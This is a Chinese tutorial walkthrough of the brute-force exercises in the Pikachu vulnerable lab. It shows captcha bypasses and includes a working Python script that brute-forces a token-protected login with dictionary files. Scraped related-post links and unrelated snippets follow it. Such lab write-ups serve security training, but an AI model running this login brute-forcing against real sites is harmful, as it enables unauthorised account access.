Burte Force(暴力破解)

概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

1.基于表单的暴力破解

​ 抓包查看可以看到没有任何限制

所以直接发送到Intruder模块暴力破解即可,如下已出结果:

如果想看更多关于burp操作的内容的请看这篇文章:DVWA Brute Force(暴力破解)

2.验证码绕过(on server)

Tips: 这个验证码好像一直有效哎!用户还是那三个默认用户.

正确输入验证码,然后抓个包查看

发送到Repeater模块查看,多次试验后可以看到验证码并未过期,可以多次使用,所以验证码并不影响暴力破解


再次进行暴力破解,成功出结果:

3.验证码绕过(on client)

查看网站源码,发现生成验证码和校验验证码皆在客户端进行,所以可以绕过

依然是burp抓包,输入正确的验证码

这里验证码不会在后端校验,所以可以绕过验证码校验,还是可以进行暴力破解:

4.token防爆破?

科普一下Token:

token是计算机术语令牌,令牌是一种能够控制站点占有媒体的特殊帧,以区别数据帧及其他控制帧;token其实说的更通俗点可以叫暗号,在一些数据传输之前,要先进行暗号的核对,不同的暗号被授权不同的数据操作。

——PHP中文网

这里的token就是每次请求的时候服务端都会返回一个token值,登陆的时候需要附带获取的token参数才能登录。每次请求服务端都返回一个新的token,每次尝试登录的时候token都不一样,这就会加大暴力破解的难度。

方法一:Burp爆破

首先抓包,发送到Intruder,设置模式为Pitchfork,设置usrename,password,token为参数。

然后在Resource Pool(资源池)中选择单线程爆破,因为接下来要设置的Recursive_Grep模式只能单线程爆破

然后在Options选项卡,选择Grep-Extract(意思是用于提取响应消息中的有用信息),点击Add进入Define页面。

返回Payload模块,设置token值即payload3的Payload type为Recursive grep,它表示将服务器每次返回的数据来替换payload中的变量值,这里用来每次替换token的值。

然后在Initial payload for first request:设置第一次请求的token值。

点击Start attack开始暴力破解。

跑完字典之后可以看到成功爆破。

方法二:Python爆破

代码详细解析请看Python暴力破解网站登录密码(带token验证)

此处为代码:

from bs4 import BeautifulSoup
import requests
from requests.models import Response url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"} # 代理设置,方便burp抓包查看和调试
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
} def get_token(r):
soup = BeautifulSoup(r.text, 'html.parser')
user_token = soup.select('input[name="token"]')[0]['value']
return user_token if __name__ == "__main__":
f = open('result.csv', 'w') #把爆破结果储存到文件里,这里为csv格式
f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n') #给文件设置标题 #遍历字典文件,Cluster bomb 暴力破解
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = { #payload为POST的数据
'username': username,
'password': password,
'token': user_token,
'submit': 'Login'
} Response = requests.post(url, data=payload, headers=header)
result = username + ',' + password + ',' + str(len(Response.text)) #用户名密码以及响应包长度 print(result) #输出到终端
f.write(result + '\n') #输出到文件
user_token = get_token(Response) #调用get_token函数获取下一次循环需要的token
print('\n---完成---\n')
f.close()

运行结果如下:

Pikachu漏洞靶场 Burte Force(暴力破解)的更多相关文章

  1. Pikachu漏洞练习平台实验——暴力破解(一)

    概述 一个有效的字典可以大大提高暴力破解的效率 比如常用的用户名/密码TOP500 脱裤后的账号密码(社工库) 根据特定的对象(比如手机.生日和银行卡号等)按照指定的规则来生成密码 暴力破解流程 确认 ...

  2. 安全性测试入门:DVWA系列研究(一):Brute Force暴力破解攻击和防御

    写在篇头: 随着国内的互联网产业日臻成熟,软件质量的要求越来越高,对测试团队和测试工程师提出了种种新的挑战. 传统的行业现象是90%的测试工程师被堆积在基本的功能.系统.黑盒测试,但是随着软件测试整体 ...

  3. Brute Force(暴力(破解))

    一.攻击模块1:Brute Force(暴力破解) 暴力破解一般指穷举法,穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕.若某个情况 ...

  4. 【DVWA】Brute Force(暴力破解)通关教程

    日期:2019-08-01 14:49:47 更新: 作者:Bay0net 介绍:一直以为爆破很简单,直到学习了 Burp 的宏录制和匹配关键词,才发现 burp 能这么玩... 0x01. 漏洞介绍 ...

  5. DVWA-Brute Force(暴力破解)

    暴力破解漏洞,没有对登录框做登录限制,攻击者可以不断的尝试暴力枚举用户名和密码 LOW 审计源码 <?php // 通过GET请求获取Login传参, // isset判断一个变量是否已设置,判 ...

  6. DVWA之Brute Force(暴力破解)

    目录 Low Medium High Impossible 暴力破解是指使用穷举法,举出所有的可能的结果,然后逐一验证是否正确! Low 源代码: <?php if( isset( $_GET[ ...

  7. Brute Force暴力破解

    Low 服务器只是验证了参数Login是否被设置,没有任何的防爆破机制,且对参数username.password没有做任何过滤,存在明显的sql注入漏洞. 方法一:bp爆破 直接对爆破密码得到pas ...

  8. DVWA靶场练习-暴力破解

    一.暴力破解 (Brute Force)    暴力破解是Web安全领域的一个基础技能,破解方法论为:构建常见用户名及弱口令 因此需要好的字典,对应破解场景构建特定的用户名密码,以及还需要具有灵活编写 ...

  9. EAP-MD5认证暴力破解工具eapmd5pass

    EAP-MD5认证暴力破解工具eapmd5pass   EAP-MD5是一种基于802.1x协议的认证机制.由于该机制存在漏洞,所以并不能保证数据安全.Kali Linux预置一个专用工具eapmd5 ...

  10. 关于暴力破解的一些学习笔记(pikachu)

    这几天的笔记都懒得发博客都写在本地了,随缘搬上来 什么是暴力破解 就是在攻击者不知道目标账号密码情况下的,对目标系统的常识性登陆 一般会采用一些工具+特定的字典 来实现高效的连续的尝试性登陆 一个有效 ...

随机推荐

  1. TCP vs UDP:揭秘可靠性与效率之争

    概述 今天我们开始主要讲解TCP的相关知识点.在之前讲解分层章节的时候,我们提到过一个重要观点.在网络层及以下几层,更多的是让主机与主机建立连接,也就是说你的电脑需要知道另一台电脑在哪里才能连接上它. ...

  2. ISO/OSI七层模型的分层与作用

    ISO/OSI的七层模型 第七层:应用层 为用户提供服务,给用户一个操作界面,如window的图形界面,Linux的命令行: 第六层:表示层 数据提供表示:把01二进制转换为图像数字等用户可以看懂的内 ...

  3. Go 基础之基本数据类型

    Go 基础之基本数据类型 目录 Go 基础之基本数据类型 一.整型 1.1 平台无关整型 1.1.1 基本概念 1.1.2 分类 有符号整型(int8~int64) 无符号整型(uint8~uint6 ...

  4. Berkeley

    2019年Berkeley预测Serverless将取代Serverful计算,成为云计算的计算新范式.Serverless为应用程序开发提供了一种全新的系统架构,其凭借着弹性伸缩省事省心,按需付费更 ...

  5. 在 Mac 上撰写和格式化备忘录-添加提醒-添加日历

    在 Mac 上撰写和格式化备忘录 您可以撰写备忘录以及更改备忘录的格式,例如,更改字体大小或对齐方式,或者使文本变为粗体.如果您使用的是升级后的 iCloud 备忘录或者储存在您 Mac 上的备忘录, ...

  6. 【高手训练】【RMQ】奶牛排队

    第一题由于过水,就没写awa 大概就是这样了.题意就是求一个最长的区间使得区间的左边是它的最小值,区间右边是他的最大值第一个想法肯定是暴力枚举啦awa但是这个是O(n^3)的,绝对的不可过awa 思考 ...

  7. 基于Echart的前端可视化

    GitHub 上有许多关于低代码自助可视化的项目,前端使用 Vue 和 ECharts 的示例.以下是一些可能符合你要求的项目: DataV: 项目链接:DataV 描述:DataV 是一款基于 Vu ...

  8. 简单理解cookie/session机制(转)

    http://www.woshipm.com/pd/864133.html cookie与session应用于互联网中的一项基本技术--会话(用户与客户端的交互)跟踪技术,用来跟踪用户的整个会话.简单 ...

  9. (转)用GPU做DeepLearning要比CPU快40~80倍

    The speed difference of CPU and GPU can be significant in deep learning. But how much? Let's do a te ...

  10. testre

    f5看到关键代码判断 猜测这是flag或者是加密后的结果,直接将其当作flag答案不对,所以猜测为加密后的结果,然后再通过其他函数了解 跟进第一个函数发现编码表 本来想试试base解密,可是当时只试了 ...